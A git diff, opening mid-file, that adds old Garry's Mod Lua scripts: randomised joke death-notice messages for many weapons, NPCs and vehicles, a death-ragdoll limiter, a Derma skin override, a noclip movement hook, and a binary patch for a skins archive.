= ( killername .. " shredded " .. victimname .. " to bits." ) +message[2] = ( victimname .. " was staring down the barrel of " .. killername .. "'s shotgun." ) +message[3] = ( victimname .. " was on the wrong end of " .. killername .. "'s shotgun." ) +message[4] = ( killername .. " put " .. victimname .. "'s limbs apart wtih a shotgun." ) +message[5] = ( killername .. " disassembled " .. victimname .. " wtih a shotgun." ) + +finalmessagekill = message[decider] + +end + +//SWEPS + +//FreezerNade Gun +if weapon == "freezegun" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( killername .. " afroze " .. victimname .. " to death." ) +message[2] = ( killername .. " painted the walls a lovely shade of " .. victimname .. "." ) +message[3] = ( killername .. " disassembled " .. victimname .. " with a freeze-gun." ) +message[4] = ( killername .. " depressurised " .. victimname .. " in a handy way." ) +message[5] = ( victimname .. " was depressurised by " .. killername .. "." ) +message[6] = ( killername .. " put " .. victimname .. " and his limbs apart." ) + +finalmessagekill = message[decider] + +end + +//AK47 +if weapon == "weapon_ak47" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( killername .. " went communist on " .. victimname .. "'s ass." ) +message[2] = ( killername .. " took a 47's approach to " .. victimname .. "." ) +message[3] = ( killername .. " disassembled " .. victimname .. " the traditional way." ) + +finalmessagekill = message[decider] + +end + +//Deagle +if weapon == "weapon_deagle" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( killername .. " took a precision shot on " .. victimname .. "." ) +message[2] = ( victimname .. " was shot down by " .. killername .. "." ) + +finalmessagekill = message[decider] + +end + +//Five-Seven +if weapon == "weapon_fiveseven" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( killername .. " took a shot at " .. victimname .. "." ) +message[2] = ( victimname .. " was shot down by " .. killername .. "'s pew-pew gun." ) + +finalmessagekill = message[decider] + +end + +//Glock +if weapon == "weapon_glock" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( killername .. " popped a cap in " .. victimname .. "'s ass." ) +message[2] = ( victimname .. " was shot down by " .. killername .. "." ) + +finalmessagekill = message[decider] + +end + +//M-4 +if weapon == "weapon_m4" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( killername .. "'s bullet suddenly invaded " .. victimname .. "'s skull." ) +message[2] = ( victimname .. " was battered by " .. killername .. "'s M4." ) +message[3] = ( victimname .. " asked to take a closer look at " .. killername .. "'s M4." ) + +finalmessagekill = message[decider] + +end + +//Mac-10 +if weapon == "weapon_mac10" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( victimname .. " got shot with " .. killername .. "'s Mac-10 a few times." ) +message[2] = ( victimname .. " asked to take a closer look at " .. killername .. "'s Mac-10." ) + +finalmessagekill = message[decider] + +end + +//MP-5 +if weapon == "weapon_mp5" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( killername .. "'s bullets travelled all the way through " .. victimname .. "'s intestines." ) +message[2] = ( victimname .. " died of " .. killername .. " submachine-gun causes." ) + +finalmessagekill = message[decider] + +end + +//Para +if weapon == "weapon_para" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( killername .. " spammed " .. victimname .. " to bloody death." ) +message[2] = ( killername .. " put a few hundered bullets around and inside " .. victimname .. "." ) + +finalmessagekill = message[decider] + +end + +//Pump Shotgun +if weapon == "weapon_pumpshotgun" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " was starring down " .. killername .. "'s barrel." ) +message[2] = ( victimname .. " had a date with " .. killername .. "'s shotgun." ) +message[3] = ( killername .. " disassembled " .. victimname .. " into tiny bits." ) +message[4] = ( killername .. " shredded " .. victimname .. " to bits." ) + +finalmessagekill = message[decider] + +end + +//Pump Shotgun +if weapon == "weapon_tmp" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " died of " .. killername .. " submachine-gun causes." ) +message[2] = ( victimname .. " was suddenly asassinated by " .. killername .. "." ) +message[3] = ( killername .. " stalked " .. victimname .. " with some TMP rounds." ) + +finalmessagekill = message[decider] + +end + +end +//------------- + +//Physics +if weaponname == "prop_physics" || weaponname == "prop_physics_respawnable" || weaponname == "prop_physics_multiplayer" then + +local killerclass = killerdata:GetClass() + +//Physics suicide +if killerclass == "prop_physics" || killerclass == "prop_physics_respawnable" || killerclass == "prop_physics_multiplayer" then + +local decider = math.random(1,8) + +local message = {} + +message[1] = ( victimname .. " has been flattened." ) +message[2] = ( victimname .. " was crushed." ) +message[3] = ( victimname .. " was found dead." ) +message[4] = ( victimname .. " was standing in the way of somthing heavy." ) +message[5] = ( victimname .. " got himself killed." ) +message[6] = ( victimname .. " tripped over something heavy." ) +message[7] = ( victimname .. " tried to argue with laws of physics." ) +message[8] = ( victimname .. " was staring at something heavy heading his way." ) + +finalmessagekill = message[decider] + +end + +//Physics kill +if killerclass != "prop_physics" && killerclass != "prop_physics_respawnable" && killerclass != "prop_physics_multiplayer" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( killername .. " smeared " .. victimname .. " across the floor." ) +message[2] = ( victimname .. " played catch with " .. killername .. "." ) +message[3] = ( victimname .. " was victim of " .. killername .. "'s flinging practice." ) +message[4] = ( killername .. " disposed of " .. victimname .. " with some heavy prop." ) +message[5] = ( victimname .. " ran into " .. killername .. "'s flinging practice object." ) + +finalmessagekill = message[decider] + +end +end + +//Combine ball kill +if weaponname == "prop_combine_ball" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( victimname .. " was disintegrated by " .. killername .. "'s balls." ) +message[2] = ( killername .. " vaporised " .. victimname .. " with combine's balls." ) +message[3] = ( victimname .. " thought you were meant to catch " .. killername .. "'s ball." ) +message[4] = ( victimname .. " was depressurised by " .. killername .. "'s balls." ) +message[5] = ( victimname .. " said ''Hi'' to " .. killername .. "'s balls." ) + +finalmessagekill = message[decider] + +end + +//Crossbow kill +if weaponname == "crossbow_bolt" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( victimname .. " got arrow'd by" .. killername .. "'s crossbow" ) +message[2] = ( victimname .. " was sniped by " .. killername .. "." ) +message[3] = ( victimname .. " met " .. killername .. "'s crossbow bolt." ) +message[4] = ( victimname .. " stood in the way of " .. killername .. "'s crossbow." ) +message[5] = ( victimname .. " got own3d by " .. killername .. "'s crossbow bolt." ) +message[6] = ( killername .. " put a crossbow bolt in " .. victimname .. "." ) + +finalmessagekill = message[decider] + +end + +//Rocket kill +if weaponname == "rpg_missile" then + +local decider = math.random(1,10) + +local message = {} + +message[1] = ( killername .. " put " .. victimname .. "'s insides on the outside." ) +message[2] = ( victimname .. " accidently " .. killername .. "'s rocket." ) +message[3] = ( victimname .. " couldn't outrun " .. killername .. "'s rocket." ) +message[4] = ( victimname .. " met " .. killername .. "'s rocket." ) +message[5] = ( killername .. " redecorated the level with " .. victimname .. "." ) +message[6] = ( killername .. " threw " .. victimname .. " all across the map." ) +message[7] = ( killername .. " taught " .. victimname .. " how to fly." ) +message[8] = ( killername .. " opened up a can of whoop-ass on " .. victimname .. "." ) +message[9] = ( killername .. " decided " .. victimname .. " had too many limbs." ) +message[10] = ( killername .. " spread " .. victimname .. " evenly across the ground." ) + +finalmessagekill = message[decider] + +end + +//Grenade kill +if weaponname == "npc_grenade_frag" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( killername .. " fed " .. victimname .. " a frag." ) +message[2] = ( killername .. " sploded " .. victimname .. "'s ass apart." ) +message[3] = ( killername .. " painted the walls a lovely shade of " .. victimname .. "." ) +message[4] = ( victimname .. " tripped over " .. killername .. "'s grenade." ) +message[5] = ( victimname .. " tried to juggle " .. killername .. "'s grenades." ) +message[6] = ( killername .. " spread " .. victimname .. " evenly across the level." ) + +finalmessagekill = message[decider] + +end + +//Nuclear kill +if weaponname == "sent_nuke" then + +local decider = math.random(1,7) + +local message = {} + +message[1] = ( killername .. " vaporised " .. victimname .. " with a nuclear explosion." ) +message[2] = ( victimname .. " was caught sunbathing in " .. killername .. "'s nuclear testing zone." ) +message[3] = ( victimname .. " has been disintegrated by " .. killername .. "'s atomic bomb." ) +message[4] = ( killername .. " splatterd " .. victimname .. " all across the map." ) +message[5] = ( killername .. " wiped out " .. victimname .. "." ) +message[6] = ( victimname .. " tripped over " .. killername .. "'s nuke." ) +message[7] = ( victimname .. " stood too close to " .. killername .. "'s nuclear testing zone." ) + +finalmessagekill = message[decider] + +end + +//Gibs +if weaponname == "gib" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( killername .. " threw some heavy leftovers in " .. victimname .. "'s general direction." ) +message[2] = ( killername .. " threw some crap at " .. victimname .. "." ) +message[3] = ( victimname .. " was done in by " .. killername .. "'s high-speed leftovers." ) +message[4] = ( killername .. " threw some junk at " .. victimname .. "'s face." ) +message[5] = ( killername .. " finished off " .. victimname .. " with some random leftovers." ) +message[6] = ( victimname .. " tripped over " .. killername .. "'s high-speed leftovers." ) + +finalmessagekill = message[decider] + +end + +//Fire & Flames +if weaponname == "env_fire" || weaponname == "entityflame" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( victimname .. " was made extra-crispy." ) +message[2] = ( victimname .. " burned to death." ) +message[3] = ( victimname .. " has been deep-fried." ) +message[4] = ( victimname .. " sat too close to the campfire." ) +message[5] = ( victimname .. " is now charred remains." ) +message[6] = ( victimname .. " was roasted." ) + +finalmessagekill = message[decider] + +end + +//Random Hazards +if weaponname == "point_hurt" || weaponname == "trigger_hurt" then + +local killerclass = killerdata:GetClass() + +//Random suicide +if killerclass == "point_hurt" || killerclass == "trigger_hurt" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " was found dead." ) +message[2] = ( victimname .. " got himself killed." ) +message[3] = ( victimname .. " didn't check with his surroundings." ) +message[4] = ( victimname .. " checked the area for traps." ) + +finalmessagekill = message[decider] + +end + +//Random kill +if killerclass != "point_hurt" && killerclass != "trigger_hurt" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( killername .. " spread " .. victimname .. " evenly across the level." ) +message[2] = ( killername .. " painted the walls a lovely shade of " .. victimname .. "." ) +message[3] = ( victimname .. " was caught in " .. killername .. "'s firing range." ) + +finalmessagekill = message[decider] + +end + +end + +//Explosions +if weaponname == "env_explosion" || weaponname == "gmod_dynamite" then + +local decider = math.random(1,7) + +local message = {} + +message[1] = ( victimname .. " asploded." ) +message[2] = ( victimname .. " was blown to steaming bits." ) +message[3] = ( victimname .. " was blown away by a big-ass explosion." ) +message[4] = ( victimname .. " decorated the level with his insides." ) +message[5] = ( victimname .. " splatterd all over the walls." ) +message[6] = ( victimname .. " was sploded." ) +message[7] = ( victimname .. " is now very dead." ) + +finalmessagekill = message[decider] + +end + +//Turrets +if weaponname == "gmod_turret" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( killername .. " put a few holes in " .. victimname .. "." ) +message[2] = ( killername .. " painted the walls a lovely shade of " .. victimname .. "." ) +message[3] = ( victimname .. " was found dead near " .. killername .. "'s turret range." ) +message[4] = ( victimname .. " came too close to " .. killername .. "'s turret range." ) +message[5] = ( killername .. " shot " .. victimname .. " some new holes." ) +message[6] = ( victimname .. " was shot up by " .. killername .. "." ) + +finalmessagekill = message[decider] + +end + +//Lasers +if weaponname == "env_laser" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( victimname .. " got laz0r'd." ) +message[2] = ( victimname .. " got himself disintegrated." ) +message[3] = ( victimname .. " didn't check for traps." ) +message[4] = ( victimname .. " didn't read the fucking manual." ) +message[5] = ( victimname .. " had an unfortunate shooping accident." ) +message[6] = ( victimname .. " had an unfortunate shooping accident." ) + +finalmessagekill = message[decider] + +end + +//Worldspawn +if weaponname == "worldspawn" then + +local decider = math.random(1,15) + +local message = {} + +message[1] = ( victimname .. " kissed the dirt." ) +message[2] = ( victimname .. " is now a pavment pizza." ) +message[3] = ( victimname .. " learned the power of gravity." ) +message[4] = ( victimname .. " illustrated how falling works." ) +message[5] = ( victimname .. " forgot how to noclip." ) +message[6] = ( victimname .. " tried to argue with laws of physics." ) +message[7] = ( victimname .. " decorated the level with his insides." ) +message[8] = ( victimname .. " went too close to the edge." ) +message[9] = ( victimname .. " splatterd on the floor." ) +message[10] = ( victimname .. " didn't read the safety guide." ) +message[11] = ( victimname .. " didn't wait for the elivator." ) +message[12] = ( victimname .. " fell into the floor at 113mph." ) +message[13] = ( victimname .. " smeared himself across the floor." ) +message[14] = ( victimname .. " didn't check with the manual." ) +message[15] = ( victimname .. " didn't need all those limbs anyway." ) + +finalmessagekill = message[decider] + +end + +//SWEPS + +//FreezerNade Minigun +if weaponname == "freezegun_mini" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( killername .. " painted the walls a lovely shade of " .. victimname .. "." ) +message[2] = ( killername .. " disassembled " .. victimname .. " the messy way." ) +message[3] = ( killername .. " shot " .. victimname .. " a new one." ) +message[4] = ( killername .. " put " .. victimname .. " and his limbs apart." ) +message[5] = ( victimname .. " met " .. killername .. "'s lucky bullet." ) +message[6] = ( killername .. " shot " .. victimname .. " some new holes." ) + +finalmessagekill = message[decider] + +end + +//NPC + +//Combine soldier +if weaponname == "npc_combine_s" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( victimname .. " ran into a bunch of combine soldiers." ) +message[2] = ( victimname .. " was shot up by some combine soldiers." ) +message[3] = ( victimname .. " played tag with a bunch of combine." ) +message[4] = ( victimname .. " was never good at hide-n-seek." ) +message[5] = ( victimname .. " strafed into some combine soldiers." ) + +finalmessagekill = message[decider] + +end + +//Antlions +if weaponname == "npc_antlion" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " ran into a bunch of antlions." ) +message[2] = ( victimname .. " was chased down by some antlions." ) +message[3] = ( victimname .. " was bugged." ) + +finalmessagekill = message[decider] + +end + +//Antlion guard +if weaponname == "npc_antlionguard" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " was chased down by an antlion guard." ) +message[2] = ( victimname .. " was put apart by an antlion guard." ) +message[3] = ( victimname .. " painted the walls red." ) +message[4] = ( victimname .. " played a game of catch with an Antlion Guard." ) + +finalmessagekill = message[decider] + +end + +//Barnacle +if weaponname == "npc_barnacle" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( "Silly " .. victimname .. ", barnacles are for enemies...") +message[2] = ( victimname .. " was slow enough to get chased down by a barnacle." ) +message[3] = ( victimname .. " didn't look up." ) +message[4] = ( victimname .. " was eliminated in natural selection." ) +message[5] = ( victimname .. " was dumb enough to get strangled by a barnacle." ) + +finalmessagekill = message[decider] + +end + +//Gunship +if weaponname == "npc_combinegunship" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( victimname .. " was chased down by a gunship." ) +message[2] = ( victimname .. " didn't make it." ) + +finalmessagekill = message[decider] + +end + +//Helicopter +if weaponname == "npc_helicopter" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( victimname .. " was chased down by a combine helicopter." ) +message[2] = ( victimname .. " didn't see it coming." ) + +finalmessagekill = message[decider] + +end + +//Zombies +if weaponname == "npc_fastzombie" || weaponname == "npc_zombie" || weaponname == "npc_poisonzombie" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " ran into a bunch of zombies." ) +message[2] = ( victimname .. " was the finest brain of his generation." ) +message[3] = ( victimname .. " was stalked by some zombies." ) +message[4] = ( victimname .. " made a camp by some zombies." ) + +finalmessagekill = message[decider] + +end + +//Zombie torsos +if weaponname == "npc_fastzombie_torso" || weaponname == "npc_zombie_torso" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( victimname .. " didn't check for survivors." ) +message[2] = ( victimname .. " couldn't handle half a zombie." ) + +finalmessagekill = message[decider] + +end + +//Headcrabs +if weaponname == "npc_headcrab" || weaponname == "npc_headcrab_black" || weaponname == "npc_headcrab_fast" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " ran into a bunch of headcrabs." ) +message[2] = ( victimname .. " was headhumped to death." ) +message[3] = ( victimname .. " mistook headcrab for a pet." ) + +finalmessagekill = message[decider] + +end + +//Manhacks +if weaponname == "npc_manhack" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " was cut up by some manhacks." ) +message[2] = ( victimname .. " was cut up extra-thin." ) +message[3] = ( victimname .. " didn't know those weren't scanners." ) +message[4] = ( victimname .. " was shredded extra-thin." ) + +finalmessagekill = message[decider] + +end + +//Turrets +if weaponname == "npc_turret_ceiling" || weaponname == "npc_turret_floor" || weaponname == "npc_turret_ground" || weaponname == "sent_turret" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " was shot down in a turret accident." ) +message[2] = ( victimname .. " checked the area." ) +message[3] = ( victimname .. " didn't check the area for turrets." ) + +finalmessagekill = message[decider] + +end + +//Rollermines +if weaponname == "npc_rollermine" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " ran into a bunch of rollermines." ) +message[2] = ( victimname .. " was done in by rollermine's Sonic Spin Attack." ) +message[3] = ( victimname .. " was electrocuted by the combine spinning menace." ) + +finalmessagekill = message[decider] + +end + +//Metropolice +if weaponname == "npc_metropolice" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( victimname .. " ran into City 17 police force." ) +message[2] = ( victimname .. " was shot down by C17 police force." ) +message[3] = ( victimname .. " exceeded his infractions limit." ) +message[4] = ( victimname .. " was suddenly elected Citizen 101." ) +message[5] = ( victimname .. " asked a CP for directions." ) +message[6] = ( victimname .. " was making funny faces in front of some CPs." ) + +finalmessagekill = message[decider] + +end + +//Striders +if weaponname == "npc_strider" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " ran into a strider." ) +message[2] = ( victimname .. " was shot down by a strider." ) +message[3] = ( victimname .. " was served extra-crispy." ) +message[4] = ( victimname .. " stopped to tie his shoelaces." ) + +finalmessagekill = message[decider] + +end + +//Vortigaunts +if weaponname == "npc_vortigaunt" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " ran into a bunch of vortigaunts." ) +message[2] = ( victimname .. " couldn't argue with a vortigaunt." ) +message[3] = ( victimname .. " crossed roads with a vortigaunt." ) + +finalmessagekill = message[decider] + +end + +//Vehicles + +//Jeep +if weaponname == "prop_vehicle_jeep" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " had a car accident." ) +message[2] = ( victimname .. " crossed roads with a jeep." ) +message[3] = ( victimname .. " met a bumper of a speeding jeep." ) +message[4] = ( victimname .. " was driven over." ) + +finalmessagekill = message[decider] + +end + +//Airboat +if weaponname == "prop_vehicle_airboat" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " couldn't outrun an airboat." ) +message[2] = ( victimname .. " was shredded apart by airboat's rear blades." ) +message[3] = ( victimname .. " didn't notice an airboat just before his nose." ) + +finalmessagekill = message[decider] + +end + +//Pod +if weaponname == "prop_vehicle_prisoner_pod'" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " didn't see it coming." ) +message[2] = ( victimname .. " was successfully landed on." ) +message[3] = ( victimname .. " was killed my the chair." ) + +finalmessagekill = message[decider] + +end + +//--------------------------- + +//Generic kill +if finalmessagekill == nil then + +finalmessagekill = ( killername .. " killed " .. victimname .. " with " .. weaponname .. "." ) + +end + +//Final message +local locateplayers = player.GetAll( ) +for i = 1, table.getn( locateplayers ) do +locateplayers[i]:ChatPrint( finalmessagekill .."\n") +end + +end +end +hook.Add( "PlayerDeath", "DeathNotificationHook", deathnotice ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/Deathfix.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/Deathfix.lua new file mode 100644 index 0000000..307502d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/Deathfix.lua @@ -0,0 +1,46 @@ +local MaxRagdolls = 1 + +if ( SERVER ) then + + AddCSLuaFile( "Deathfix.lua" ) +end + +concommand.Add("sbox_maxdeathragdolls",function(ply,com,arg) + if ply:IsAdmin() and arg[1] and tonumber(arg[1])>0 then + MaxRagdolls=tonumber(arg[1]) + end +end) + +FindMetaTable("Player").CreateRagdoll=function(ply) + if not ply["DeathRagdolls"] then ply["DeathRagdolls"]={} end + local len=ply["DeathRagdolls"] + if #len>=MaxRagdolls and ply["DeathRagdolls"][1]:IsValid() then ply["DeathRagdolls"][1]:Remove() table.remove(ply["DeathRagdolls"],1) end + for k,v in pairs(ply["DeathRagdolls"]) do + if not ply["DeathRagdolls"][k]:IsValid() then + table.remove(ply["DeathRagdolls"],k) + end + end + local temp={} + for i=0, 70 do + if ply:GetBoneMatrix(i) then + table.insert(temp, {i,ply:GetBoneMatrix(i)}) + end + end + local DeathRagdoll=ents.Create("prop_ragdoll") + DeathRagdoll:SetPos(ply:GetPos()) + DeathRagdoll:SetAngles(ply:GetAngles()-Angle(ply:GetAngles().p,0,0)) + DeathRagdoll:SetModel(ply:GetModel()) + DeathRagdoll:Spawn() + table.insert(ply["DeathRagdolls"],DeathRagdoll) + for k,v in pairs(temp) do + DeathRagdoll:SetBoneMatrix(v[1], v[2]) + end + local force=ply:GetVelocity()*2 + for i=0, .2, .05 do + timer.Simple(i, function() if DeathRagdoll:IsValid() then DeathRagdoll:GetPhysicsObject():SetVelocity(force) end end) + end + ply:SpectateEntity(DeathRagdoll) + ply:Spectate(OBS_MODE_CHASE) +end + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/dermaskin.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/dermaskin.lua new file mode 100644 index 0000000..514a727 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/dermaskin.lua @@ -0,0 +1,50 @@ +local dermaskin +local getskintable +local getConVarString = GetConVarString + +if file.Exists"dermaskin.txt" then dermaskin = file.Read"dermaskin.txt" end + +if !ConVarExists"derma_skin" then CreateConVar("derma_skin", dermaskin or "Default") end + +timer.Simple(0, function() + +local dermaskins = derma.GetSkinTable() +timer.Create("RefreshDermaSkins", 1, 0, function() dermaskins = derma.GetSkinTable() end) + +function _R.Panel:SetSkin(name) self.dermaskin = name end + +function derma.SkinHook( strType, strName, panel ) + local Skin + local a = hook.Call("ForceDermaSkin", GAMEMODE) or panel.dermaskin + local p = panel + while (!a and p:GetParent()) do + p = p:GetParent() + a = a or p.dermaskin + end + if a then + if a != panel.lastdermaskin then panel:InvalidateLayout() end + panel.lastdermaskin = a + Skin = dermaskins[a] + else + if !getskintable then getskintable = derma.GetSkinTable end + dermaskin = getConVarString"derma_skin" + if dermaskin != panel.lastdermaskin then panel:InvalidateLayout() end + if !dermaskins[dermaskin] then dermaskin = nil end + panel.lastdermaskin = dermaskin + Skin = dermaskins[dermaskin or "Default"] + end + + if ( !Skin ) then return end + local func = Skin[ strType .. strName ] + local func2 = dermaskins["Default"][ strType .. strName ] + if ( !func ) then return end + + return func( Skin, panel ) + +end + +for k, v in pairs(file.FindInLua("skins/*.lua")) do + include("skins/"..v) +end + +end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sh_oldnoclip.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sh_oldnoclip.lua new file mode 100644 index 0000000..deb7658 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sh_oldnoclip.lua @@ -0,0 +1,111 @@ +--AddCSLuaFile("noclip.lua") + +if( CLIENT ) then + + /*------------------------------------ + CreateMove() + ------------------------------------*/ + local function CreateMove( cmd ) + + local pl = LocalPlayer(); + if( IsValid( pl ) ) then + + // manage movement speeds in noclip, overrides new noclip + if( pl:GetMoveType() == MOVETYPE_NOCLIP || pl:GetMoveType() == MOVETYPE_OBSERVER ) then + + local up = 0; + local right = 0; + local forward = 0; + local maxspeed = pl:GetMaxSpeed(); + + if( cmd:KeyDown( IN_DUCK ) ) then + + up = up - maxspeed; + + end + if( cmd:KeyDown( IN_JUMP ) ) then + + up = up + maxspeed; + + end + // forward/back + if( cmd:KeyDown( IN_FORWARD ) ) then + + forward = forward + maxspeed; + + end + if( cmd:KeyDown( IN_BACK ) ) then + + forward = forward - maxspeed; + + end + + // left/right + if( cmd:KeyDown( IN_MOVERIGHT ) ) then + + right = right + maxspeed; + + end + if( cmd:KeyDown( IN_MOVELEFT ) ) then + + right = right - maxspeed; + + end + + // set speeds + cmd:SetUpMove( up ); + cmd:SetForwardMove( forward ); + cmd:SetSideMove( right ); + + end + + end + + end + hook.Add( "CreateMove", "Noclip.CreateMove", CreateMove ); + +end + +/*------------------------------------ + Move() +------------------------------------*/ +local function Move( pl, mv ) + + // only override the new noclip + if( pl:GetMoveType() != MOVETYPE_NOCLIP and pl:GetMoveType() != MOVETYPE_OBSERVER ) then + + return; + + end + + local deltaTime = FrameTime(); + + // I hate having to get these by name like this. + local noclipSpeed = GetConVarNumber( "sv_noclipspeed" ); + local noclipAccelerate = GetConVarNumber( "sv_noclipaccelerate" ); + + // calculate acceleration for this frame. + local ang = mv:GetMoveAngles(); + local acceleration = ( ang:Forward() * mv:GetForwardSpeed() ) + ( ang:Right() * mv:GetSideSpeed() ) + ( Vector( 0, 0, 1 ) * mv:GetUpSpeed() ); + + // clamp to our max speed, and take into account noclip speed + local accelSpeed = math.min( acceleration:Length(), pl:GetMaxSpeed() ); + local accelDir = acceleration:GetNormal(); + acceleration = accelDir * accelSpeed * noclipSpeed; + + // calculate final velocity with friction + local newVelocity = mv:GetVelocity() + acceleration * deltaTime * noclipAccelerate; + newVelocity = newVelocity * ( 0.95 - deltaTime * 4 ); + + // set velocity + mv:SetVelocity( newVelocity ); + + // move the player + local newOrigin = mv:GetOrigin() + newVelocity * deltaTime; + mv:SetOrigin( newOrigin ); + + return true; + +end +hook.Add( "Move", "Noclip.Move", Move ); + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/skins.rar b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/skins.rar new file mode 100644 index 0000000000000000000000000000000000000000..b63b7db27bb01e3cf48bd0e9f385bcb78aae2590 GIT binary patch literal 26391 zcmZUaQ;=vumuAbhZQHhO+qP}nzGdT#B_2`~Ua1rz`PP#jqZ4}&fZFD^480Kva0&JLb#&i@8| zXKPD4IvZC*7)*qzY2;}^?1nz_{V|_nKuByQ+BpWuL6giR!3-wBzp(RN8MH(jn#iL2 zqU;Fsy|44caXc2yCMk=QZzjRaosz|}%leVc?(bDqckE}Pz&=zz9i4mLx88-+gAr;! zy8ePr(ciy~;YGtkbZ3x+Ak1D)C%Y(&5${9#F3xYe2^!*@KlpG>?pT6%G!<4rNI_0HWO9>ikHLD4L(DGV^~|i z9s#YxrXBu%E290<=09kP3Tjb!!Hhmp)_c@kgot{K4%C83dN}oXL4bKoh51PP;^J9b zm}#;j8=mmTLr)gx=fJ9-!M#h&joT5w_P=)F6uxT#l3*{d-##sgD?{MY!-+X?m6}9SQWR-DJ#VlF_!^;xsi5 z1-DX_;Ubt_yRo@{l#>CDCgZ4KH)9;jBfM5?-S#h7`FcloYQ<}g^TyXfrs~*gLkcxW zWk)mQVZ*lHa^U{Hm*cnYa;z?nR2;>(klkXXq1k-$=L< zQZ#vr-j}_q`rG&Rmay(X{iJ>wA{CDyw(u@jDXHcD?TRKaSa8gGVwC%#8eG)?m3Ttr zPJp@@lFf|?6h;+w%-h}^l0zrF@2%6s#h@c#7$Z3qtnX8PBA+FsOBn}NIF%U;w^}XO ze54PpQn)Bw0I;Y=?VF0`2FrB7Mxw@D3@>O;oFSM<#E(Y86EHNUc%ozo{?{>O@KC%^ z=5ubYM1rry8IFfTSy)X;gq}#$I9aUS9Mk4h6WUhBF3hV~g^u$ckCaIHYw|55r4a~Ijptx#Jv2AyEZ*?zs5;rl% zu>;4Mw0FJjyc;LI8zs~uOSWt~QFk#5>?DpWl@v))q(n)cjm+BzKYT}7J&2@W!SL&7 z_V?et{sf_utJ?<2n->)xACD)z1Mw1mEi2~!_zv{P?Zh~`z!l&RQRt%I^Y?~hw1F$S z0RDaFig$L&5m$kf%L*|b{QNR9f{01{OLVv_9ZJHNvCi^?H=+571A~R;TgL zJFUIc@mi!a{fqvt*_@hfe$5}WdG!cwlNVmN<=yC`?U74_4*$OM3QGU|yDj2BYzMx- z1MkdmL^Jm)R(h#WA3DagJ>p>Ix1s@9Q*KbphqJ=-F4&LG%cjZinaejwo$JD*I;Yj> zoHP$(L_Wgw>=YPAMY=GuGFLHzc+__&tB+*Vqeex1u}^K&d#_ZsVN@zhhuD}`m2My- zH5^7oK2NBp-mmx!Q_`B7xh$gyfgQ{#RkkA|ipzL(5YG)>ZVZehHTaAGY>mthNlBX# z&Blo0GMY)$l`hEc5VF zOed(VLSBOd*v2SrS;SYR+YC4tsh$>?gls9Btb>b1UaM0IX0oftPA>+n%dx+c%Ox>67jiodluu2AXE$ zZHivEl!#Mr0t35O(kNyfF7>Mc69Zd6@U`|74=xV7h7~C8iWppUUOT#dXgUFgBIrOX zPa7goDrj0k{?@3FZ=A&=Fci*;UUhP4fjxm?SlCBq6?-HqXQIon56?0C z4ZGn`J77qikiO7h#!wrUBVt1J-c)`+3rr#hJBhu~Q^2#SP?5v0qwl>*QPcB_}0H0z^&V=d1pXp@2R%ivd5@w#gMbp^8v$ohQ2g&RWDh@`{f8@LS-)ANsgLM*+;$hx!3p+9eY zsGg|JB-p1G`_qNWFVJGsQqU#t3x) z1~;HPPKj#jl*Xe4SO~4+MH?t3t~D^y#kNCni8N9ap^B^RG(&Th!>q>SmCUto!3BYDbcxclp3kPoNoHVdnxrm5Foa*Qo3{Ch) 